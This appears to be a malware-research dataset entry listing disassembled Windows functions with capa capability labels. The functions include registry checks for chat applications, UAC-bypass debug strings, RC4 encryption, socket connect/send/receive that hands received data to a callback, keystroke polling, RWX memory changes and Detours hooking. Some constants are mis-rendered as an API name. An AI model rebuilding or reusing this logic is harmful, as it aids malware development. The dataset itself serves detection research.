joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000c1e0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x88
call fcn.140008b00
mov ecx, 0x1e
call fcn.140007040
test eax, eax
je 0x14000c205
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 0x53
mov word [rsp + 0x48], ax
mov eax, WSAStartup
mov word [rsp + 0x4a], ax
mov eax, 0x66
mov word [rsp + 0x4c], ax
mov eax, 0x74
mov word [rsp + 0x4e], ax
mov eax, 0x77
mov word [rsp + 0x50], ax
mov eax, 0x61
mov word [rsp + 0x52], ax
mov eax, WSAStartup
mov word [rsp + 0x54], ax
mov eax, 0x65
mov word [rsp + 0x56], ax
mov eax, 0x5c
mov word [rsp + 0x58], ax
mov eax, 0x54
mov word [rsp + 0x5a], ax
mov eax, 0x65
mov word [rsp + 0x5c], ax
mov eax, 0x6e
mov word [rsp + 0x5e], ax
mov eax, 0x63
mov word [rsp + 0x60], ax
mov eax, 0x65
mov word [rsp + 0x62], ax
mov eax, 0x6e
mov word [rsp + 0x64], ax
mov eax, 0x74
mov word [rsp + 0x66], ax
mov eax, 0x5c
mov word [rsp + 0x68], ax
mov eax, 0x57
mov word [rsp + 0x6a], ax
mov eax, 0x65
mov word [rsp + 0x6c], ax
mov eax, 0x43
mov word [rsp + 0x6e], ax
mov eax, 0x68
mov word [rsp + 0x70], ax
mov eax, 0x61
mov word [rsp + 0x72], ax
mov eax, 0x74
mov word [rsp + 0x74], ax
xor eax, eax
mov word [rsp + 0x76], ax
mov eax, 0x53
mov word [rsp + 0x20], ax
mov eax, WSAStartup
mov word [rsp + 0x22], ax
mov eax, 0x66
mov word [rsp + 0x24], ax
mov eax, 0x74
mov word [rsp + 0x26], ax
mov eax, 0x77
mov word [rsp + 0x28], ax
mov eax, 0x61
mov word [rsp + 0x2a], ax
mov eax, WSAStartup
mov word [rsp + 0x2c], ax
mov eax, 0x65
mov word [rsp + 0x2e], ax
mov eax, 0x5c
mov word [rsp + 0x30], ax
mov eax, 0x44
mov word [rsp + 0x32], ax
mov eax, 0x69
mov word [rsp + 0x34], ax
mov eax, 0x6e
mov word [rsp + 0x36], ax
mov eax, 0x67
mov word [rsp + 0x38], ax
mov eax, 0x54
mov word [rsp + 0x3a], ax
mov eax, 0x61
mov word [rsp + 0x3c], ax
mov eax, 0x6c
mov word [rsp + 0x3e], ax
mov eax, 0x6b
mov word [rsp + 0x40], ax
xor eax, eax
mov word [rsp + 0x42], ax
lea rdx, [rsp + 0x48]
mov rcx, 0xffffffff80000001
call fcn.140007e50
test eax, eax
jne 0x14000c3d8
lea rdx, [rsp + 0x20]
mov rcx, 0xffffffff80000001
call fcn.140007e50
test eax, eax
jne 0x14000c3d8
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x14000c3f6
call fcn.14000cae0
test eax, eax
je 0x14000c3f6
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.14000d7d0
add rsp, 0x88
ret

Function at 0x14000cae0
Capabilities:
Check mutex on windows

Disassembly:
sub rsp, 0x38
mov qword [rsp + 0x20], 0
lea r8, str.TEST
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14000cb1f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000cb1f
mov eax, 1
jmp 0x14000cb21
xor eax, eax
add rsp, 0x38
ret
Function at 0x14000ceb0
Capabilities:
Print debug messages

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x130
lea rcx, str._RC__Get_UAC_Size_
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rax, qword [rsp + 0x140]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [0x140ab62f0], eax
mov dword [0x140427004], 0
mov eax, dword [0x140ab62f0]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x140ab62f8], rax
mov eax, dword [0x140ab62f0]
mov r8d, eax
xor edx, edx
mov rcx, qword [0x140ab62f8]
call fcn.1401dc840
lea rax, [rsp + 0x20]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov r8d, dword [0x140ab62e0]
lea rdx, str.GetByPassUAC__d
lea rcx, [rsp + 0x20]
call fcn.14000ae90
lea rcx, [rsp + 0x20]
call fcn.1401ac2b0
add rsp, 0x130
pop rdi
ret
Function at 0x1401abea0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov dword [rsp + 4], 0
jmp 0x1401abec7
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
mov eax, dword [rsp + 0x30]
cmp dword [rsp + 4], eax
jae 0x1401abff9
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x400]
inc eax
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov rcx, qword [rsp + 0x20]
mov dword [rcx + 0x400], eax
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x400]
mov rcx, qword [rsp + 0x20]
mov ecx, dword [rcx + 0x404]
mov rdx, qword [rsp + 0x20]
add ecx, dword [rdx + rax*4]
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov rcx, qword [rsp + 0x20]
mov dword [rcx + 0x404], eax
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x400]
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rcx + rax*4]
mov byte [rsp], al
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x404]
mov rcx, qword [rsp + 0x20]
movsxd rcx, dword [rcx + 0x400]
mov rdx, qword [rsp + 0x20]
mov r8, qword [rsp + 0x20]
mov eax, dword [r8 + rax*4]
mov dword [rdx + rcx*4], eax
movzx eax, byte [rsp]
mov rcx, qword [rsp + 0x20]
movsxd rcx, dword [rcx + 0x404]
mov rdx, qword [rsp + 0x20]
mov dword [rdx + rcx*4], eax
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x400]
mov rcx, qword [rsp + 0x20]
movsxd rcx, dword [rcx + 0x404]
mov rdx, qword [rsp + 0x20]
mov eax, dword [rdx + rax*4]
mov rdx, qword [rsp + 0x20]
add eax, dword [rdx + rcx*4]
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 8], eax
mov eax, dword [rsp + 4]
movsxd rcx, dword [rsp + 8]
mov rdx, qword [rsp + 0x28]
movzx eax, byte [rdx + rax]
mov rdx, qword [rsp + 0x20]
xor eax, dword [rdx + rcx*4]
mov ecx, dword [rsp + 4]
mov rdx, qword [rsp + 0x28]
mov byte [rdx + rcx], al
jmp 0x1401abebd
add rsp, 0x18
ret
Function at 0x1401ac120
Capabilities:
Connect socket
Create thread
Initialize winsock library

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x1e0
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x198
rep stosb byte [rdi], al
lea rdx, [rsp + 0x40]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x140ab6338], rax
cmp qword [0x140ab6338], 0xffffffffffffffff
jne 0x1401ac181
xor eax, eax
jmp 0x1401ac210
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
mov eax, 2
mov word [rsp + 0x30], ax
movzx ecx, word [rsp + 0x1f8]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x32], ax
mov rcx, qword [rsp + 0x1f0]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x34], eax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x30]
mov rcx, qword [0x140ab6338]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x1401ac1e1
xor eax, eax
jmp 0x1401ac210
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x200]
lea r8, [0x1401ac290]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x1e0
pop rdi
ret

Function at 0x1401ac220
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x10030
call fcn.1401db180
sub rsp, rax
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0xffff
rep stosb byte [rdi], al
xor eax, eax
cmp eax, 1
je 0x1401ac285
xor r9d, r9d
mov r8d, 0xffff
lea rdx, [rsp + 0x30]
mov rcx, qword [0x140ab6338]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jg 0x1401ac273
jmp 0x1401ac244
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
call qword [rsp + 0x10040]
jmp 0x1401ac244
add rsp, 0x10030
pop rdi
ret

Function at 0x1401ac2b0
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
xor r9d, r9d
mov r8d, eax
mov rdx, qword [rsp + 0x30]
mov rcx, qword [0x140ab6338]
call qword [sym.imp.WS2_32.dll_send]
add rsp, 0x28
ret

Function at 0x1402176c4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14021744c
Function at 0x1400036c4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000370e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000370e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000370e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000370e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000370e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003710
xor al, al
add rsp, 0x28
ret
Function at 0x180001b90
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x180096020]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, 1
mov rbp, rax
call fcn.1800152f0
mov r9d, 0x40
mov rsi, rax
lea rax, [rsp + 0x30]
mov rdx, rbx
mov rcx, rbp
mov qword [rsp + 0x20], rax
lea r8d, [r9 - 0x3f]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
xor edi, edi
test eax, eax
je 0x180001c29
lea r9d, [rdi + 1]
mov qword [rsp + 0x20], rdi
mov r8, rsi
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r9d, dword [rsp + 0x30]
lea rax, [rsp + 0x30]
lea r8d, [rdi + 1]
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rbx, rsi
nop dword [rax]
movzx edx, byte [rbx]
lea rcx, str._02X
call fcn.180002920
inc edi
lea rbx, [rbx + 1]
cmp edi, 1
jb 0x180001c30
mov rax, rsi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180015260
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret

Function at 0x180002920
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbx
push rdi
mov eax, 0x2948
call fcn.18006ed10
sub rsp, rax
mov rax, qword [0x180096020]
xor rax, rsp
mov qword [rsp + 0x2930], rax
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x1430]
mov r8d, 0x1500
call fcn.18001cde0
lea rdi, [rsp + 0x2968]
call fcn.180002150
mov qword [rsp + 0x28], rdi
lea rdx, [rsp + 0x30]
mov r9, rbx
mov qword [rsp + 0x20], 0
mov r8d, 0x1400
mov rcx, qword [rax]
call fcn.180034ea0
lea r8, [0x18008dad0]
mov edx, 0x1500
lea rcx, [rsp + 0x1430]
call fcn.180036560
lea r8, [rsp + 0x30]
mov edx, 0x1500
lea rcx, [rsp + 0x1430]
call fcn.180036560
lea rcx, [rsp + 0x1430]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x2930]
xor rcx, rsp
call fcn.180015260
add rsp, 0x2948
pop rdi
pop rbx
ret

Function at 0x180003420
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
cmp edx, 1
jne 0x180003448
xor eax, eax
lea r8, [0x1800032a0]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret
Function at 0x180003460
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x28
cmp byte [0x18009975d], 0
je 0x180003472
call fcn.180005de0
cmp byte [0x1800997c8], 0
je 0x180003594
cmp byte [0x1800997c4], 0
mov rax, qword [0x180099528]
mov rcx, qword [rax + 0x80c0610]
mov qword [0x180099520], rcx
je 0x1800034a7
movss xmm1, dword [0x180099760]
jmp 0x1800034af
movss xmm1, dword [0x18008ec00]
call fcn.180002890
cmp byte [0x1800997c5], 0
je 0x180003594
mov rax, qword [0x180099528]
mov rcx, qword [rax + 0x80c0610]
mov qword [0x180099520], rcx
mov rax, qword [rcx + 0x1a8]
test rax, rax
je 0x180003594
mov rax, qword [rax + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x180003594
mov rax, qword [rcx + 0x38]
test rax, rax
je 0x180003594
mov qword [rsp + 0x30], rbx
mov ecx, 0x26
mov rbx, qword [rax + 0x330]
mov qword [rsp + 0x20], rdi
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x18000354d
movss xmm0, dword [0x180099764]
mov rax, qword [rbx + 0x1a0]
mulss xmm0, dword [0x18008ec8c]
addss xmm0, dword [rax + 0x144]
movss dword [rax + 0x1f8], xmm0
mov ecx, 0x28
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
mov rdi, qword [rsp + 0x20]
jae 0x18000358f
mov rax, qword [rbx + 0x1a0]
movss xmm1, dword [0x180099764]
mulss xmm1, dword [0x18008ec74]
movss xmm0, dword [rax + 0x144]
subss xmm0, xmm1
movss dword [rax + 0x1f8], xmm0
mov rbx, qword [rsp + 0x30]
cmp byte [0x1800997c6], 0
je 0x1800035b9
cmp byte [0x1800997c0], 0
je 0x1800035ab
call fcn.180006ba0
cmp byte [0x1800997c1], 0
je 0x1800035b9
call fcn.1800073f0
cmp byte [0x1800997c9], 0
je 0x1800036bb
mov rax, qword [0x180099528]
mov rcx, qword [rax + 0x80c0610]
mov qword [0x180099520], rcx
mov rax, qword [rcx + 0x1a8]
test rax, rax
je 0x1800036bb
mov rax, qword [rax + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x1800036bb
mov rcx, qword [rcx + 0x38]
test rcx, rcx
je 0x1800036bb
cmp byte [0x1800997a4], 0
mov rcx, qword [rcx + 0x330]
mov rdx, qword [rcx + 0x310]
je 0x180003631
movss xmm0, dword [0x1800997a8]
movss dword [rcx + 0xd8], xmm0
jmp 0x18000363b
mov dword [rcx + 0xd8], 0x3f800000
cmp byte [0x1800997ac], 0
je 0x180003654
movss xmm0, dword [0x1800997b0]
movss dword [rcx + 0x390], xmm0
cmp byte [0x1800997b4], 0
je 0x1800036a2
mov rax, qword [rcx + 0x1a0]
movss xmm0, dword [0x1800997b8]
movss dword [rax + 0x154], xmm0
mov rax, qword [rcx + 0x1a0]
movss xmm1, dword [0x1800997b8]
movss dword [rax + 0x158], xmm1
mov rax, qword [rcx + 0x1a0]
movss xmm0, dword [0x1800997b8]
movss dword [rax + 0x15c], xmm0
cmp byte [0x18009979c], 0
je 0x1800036bb
movss xmm0, dword [0x1800997a0]
movss dword [rdx + 0x1ac], xmm0
add rsp, 0x28
ret
Function at 0x180016f50
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x78]
sub rax, 0x10000
mov rcx, rax
call fcn.1800171a0
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x20], rax
jbe 0x18001706a
mov rax, qword [0x180096050]
cmp qword [rsp + 0x20], rax
jb 0x180016fb4
mov rax, qword [0x180096058]
cmp qword [rsp + 0x20], rax
ja 0x180016fb4
mov rax, qword [rsp + 0x20]
sub rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x180016f76
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.18001cde0
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
jne 0x180016fe5
jmp 0x18001706a
cmp dword [rsp + 0x50], 0x10000
jne 0x18001704d
cmp qword [rsp + 0x48], 0x10000
jb 0x18001704d
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualAlloc
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x18001702b
mov rax, qword [rsp + 0x28]
jmp 0x18001706c
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x18001703b
xor eax, eax
jmp 0x18001706c
mov rax, qword [rsp + 0x20]
sub rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x180017065
mov rax, qword [rsp + 0x38]
sub rax, 0x10000
mov rcx, rax
call fcn.1800171a0
mov qword [rsp + 0x20], rax
jmp 0x180016f76
xor eax, eax
add rsp, 0x68
ret

Function at 0x180017080
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rcx, qword [rsp + 0x70]
call fcn.1800171e0
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x78]
cmp qword [rsp + 0x20], rax
jae 0x180017196
mov rax, qword [0x180096050]
cmp qword [rsp + 0x20], rax
jb 0x1800170db
mov rax, qword [0x180096058]
cmp qword [rsp + 0x20], rax
ja 0x1800170db
mov rax, qword [rsp + 0x20]
add rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x18001709d
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.18001cde0
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
jne 0x18001710c
jmp 0x180017196
cmp dword [rsp + 0x50], 0x10000
jne 0x180017174
cmp qword [rsp + 0x48], 0x10000
jb 0x180017174
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualAlloc
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x180017152
mov rax, qword [rsp + 0x28]
jmp 0x180017198
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x180017162
xor eax, eax
jmp 0x180017198
mov rax, qword [rsp + 0x20]
add rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x180017191
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.1800171e0
mov qword [rsp + 0x20], rax
jmp 0x18001709d
xor eax, eax
add rsp, 0x68
ret
Function at 0x180017230
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.1800177c0
mov qword [rsp + 0x28], 0
cmp qword [0x180098170], 0
jne 0x180017278
cmp qword [0x180098168], 0
je 0x180017278
mov rax, qword [0x180098168]
mov qword [0x180098170], rax
cmp qword [0x180098170], 0
je 0x18001731e
mov rax, qword [0x180098170]
cmp qword [rax + 0x10], 0
je 0x18001731e
mov rax, qword [0x180098170]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x18001731e
mov rax, qword [0x180098170]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x18001731e
mov rax, qword [0x180098170]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
cmp qword [rsp + 0x28], rax
jb 0x1800172e4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x28], rax
jbe 0x1800172eb
xor eax, eax
jmp 0x180017499
mov rax, qword [0x180098170]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x48]
mov qword [rax + 0x10], rcx
mov r8d, 0x60
mov edx, 0xcc
mov rcx, qword [rsp + 0x28]
call fcn.18001cde0
mov rax, qword [rsp + 0x28]
jmp 0x180017499
mov rax, qword [0x180098168]
mov qword [0x180098170], rax
jmp 0x180017340
mov rax, qword [0x180098170]
mov rax, qword [rax + 8]
mov qword [0x180098170], rax
cmp qword [0x180098170], 0
je 0x18001738d
cmp qword [0x180098170], 0
je 0x18001738b
mov rax, qword [0x180098170]
cmp qword [rax + 0x10], 0
je 0x18001738b
mov rax, qword [0x180098170]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x18001738b
mov rax, qword [0x180098170]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x18001738b
jmp 0x1800172bc
jmp 0x18001732e
mov rcx, qword [rsp + 0x60]
call fcn.180019410
and eax, 0xffff
mov eax, eax
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.1800174a0
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x180017497
mov rax, qword [rsp + 0x48]
mov qword [0x180098170], rax
mov rax, qword [0x180098170]
mov dword [rax], 0x52727464
mov rax, qword [0x180098170]
mov qword [rax + 0x10], 0
mov rax, qword [0x180098170]
mov rcx, qword [0x180098168]
mov qword [rax + 8], rcx
mov rax, qword [0x180098170]
mov qword [0x180098168], rax
mov qword [rsp + 0x40], 0
mov rax, qword [0x180098170]
add rax, 0x60
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x2a8
jmp 0x180017448
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 1
jle 0x180017482
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x40]
mov qword [rcx + rax + 0x48], rdx
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
jmp 0x18001743e
mov rax, qword [0x180098170]
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x10], rcx
jmp 0x1800172bc
xor eax, eax
add rsp, 0x58
ret
Function at 0x1800181b0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov r8d, 0x30
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x80]
call sub.KERNEL32.dll_VirtualQuery
nop
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1800181f7
xor al, al
jmp 0x180018299
mov rax, qword [rsp + 0x28]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp dword [rax], 0x4550
je 0x180018221
xor al, al
jmp 0x180018299
mov eax, 8
imul rax, rax, 0xc
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
cmp qword [rsp + 0x88], rax
jb 0x180018291
mov eax, 8
imul rax, rax, 0xc
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov ecx, 8
imul rcx, rcx, 0xc
mov rdx, qword [rsp + 0x30]
mov ecx, dword [rdx + rcx + 0x8c]
add rax, rcx
cmp qword [rsp + 0x88], rax
jae 0x180018291
mov al, 1
jmp 0x180018299
jmp 0x180018297
xor al, al
add rsp, 0x78
ret

Function at 0x1800185a0
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x38
mov rax, qword [0x180098168]
mov qword [rsp + 0x28], rax
jmp 0x1800185c0
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 8]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1800185ef
lea r9, [rsp + 0x20]
mov r8d, 0x40
mov edx, 0x10000
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x1800185ed
call sub.KERNEL32.dll_GetLastError
jmp 0x1800185f1
jmp 0x1800185b2
xor eax, eax
add rsp, 0x38
ret
Function at 0x180018cb0
Capabilities:
Resume thread

Disassembly:
sub rsp, 0x68
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x180098180], eax
je 0x180018ccb
mov eax, 0x10dd
jmp 0x180018df0
mov rax, qword [0x180098198]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x180018d75
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x20]
movzx eax, byte [rax + 0x3e]
lea r9, [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov r8d, dword [rcx + 0x28]
mov edx, eax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x18]
call sub.KERNEL32.dll_VirtualProtect
mov rax, qword [rsp + 0x28]
cmp dword [rax + 8], 0
jne 0x180018d40
mov rax, qword [rsp + 0x28]
cmp qword [rax + 0x20], 0
je 0x180018d40
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x20]
call fcn.180017900
mov rax, qword [rsp + 0x28]
mov qword [rax + 0x20], 0
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov edx, 0x30
mov rcx, qword [rsp + 0x38]
call fcn.1800152d0
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x28], rax
jmp 0x180018cd7
mov qword [0x180098198], 0
call fcn.180018360
mov rax, qword [0x180098190]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x180018dd9
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax + 8]
call sub.KERNEL32.dll_ResumeThread
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov edx, 0x10
mov rcx, qword [rsp + 0x48]
call fcn.1800152d0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
jmp 0x180018d91
mov qword [0x180098190], 0
mov dword [0x180098180], 0
xor eax, eax
add rsp, 0x68
ret